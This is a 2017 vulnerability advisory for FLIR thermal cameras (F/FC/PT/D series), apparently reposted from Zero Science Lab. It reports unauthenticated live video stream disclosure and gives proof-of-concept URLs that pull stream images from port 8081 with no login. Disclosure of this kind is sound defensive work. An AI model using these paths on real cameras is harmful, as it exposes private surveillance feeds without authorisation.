FLIR Systems FLIR Thermal Camera F/FC/PT/D Stream Disclosure

2017.09.26

Credit: **Gjoko 'LiquidWorm' Krstic (https://cxsecurity.com/author/Gjoko+%26%23039%3BLiquidWorm%26%23039%3B+Krstic/1/)**

Risk: **Medium** | Local: **No** | Remote: **Yes**

CVE: **N/A** | CWE: **N/A**

FLIR Systems FLIR Thermal Camera F/FC/PT/D Stream Disclosure

Vendor: FLIR Systems, Inc.
Product web page: http://www.flir.com
Affected version: Firmware version: 8.0.0.64
Software version: 10.0.2.43
Release: 1.4.1, 1.4, 1.3.4 GA, 1.3.3 GA and 1.3.2
FC-Series S (FC-334-NTSC)
FC-Series ID
FC-Series-R
PT-Series (PT-334 200562)
D-Series
F-Series

Summary: FLIR's PT-Series of high-performance, multi-sensor pan/tilt cameras
bring thermal and visible-light imaging together in a system that gives you
video and control over both IP and analog networks. The PT-Series' precision
pan/tilt mechanism gives you accurate pointing control while providing fully

programmable scan patterns, radar slew-to-cue, and slew-to-alarm func tions.
PT-Series cameras define a new standard of performance with five mode ls that
provide full 640x480 thermal resolution.

Desc: FLIR suffers from an unauthenticated and unauthorized live stre am disclosure.

Tested on: Linux 2.6.18_pro500-davinci_evm-arm_v5t_le
Linux 2.6.10_mvl401-davinci_evm-PSP_01_30_00_082
Nexus Server/2.5.29.0
Nexus Server/2.5.14.0
Nexus Server/2.5.13.0
lighttpd/1.4.28
PHP/5.4.7

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2017-5435
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5435.php

23.03.2017

--

PoC:

http://TARGET:8081/graphics/livevideo/stream/stream3.jpg
http://TARGET:8081/graphics/livevideo/stream/stream1.jpg

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2017090204)

Vote for this issue: 0 0

50% 50%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)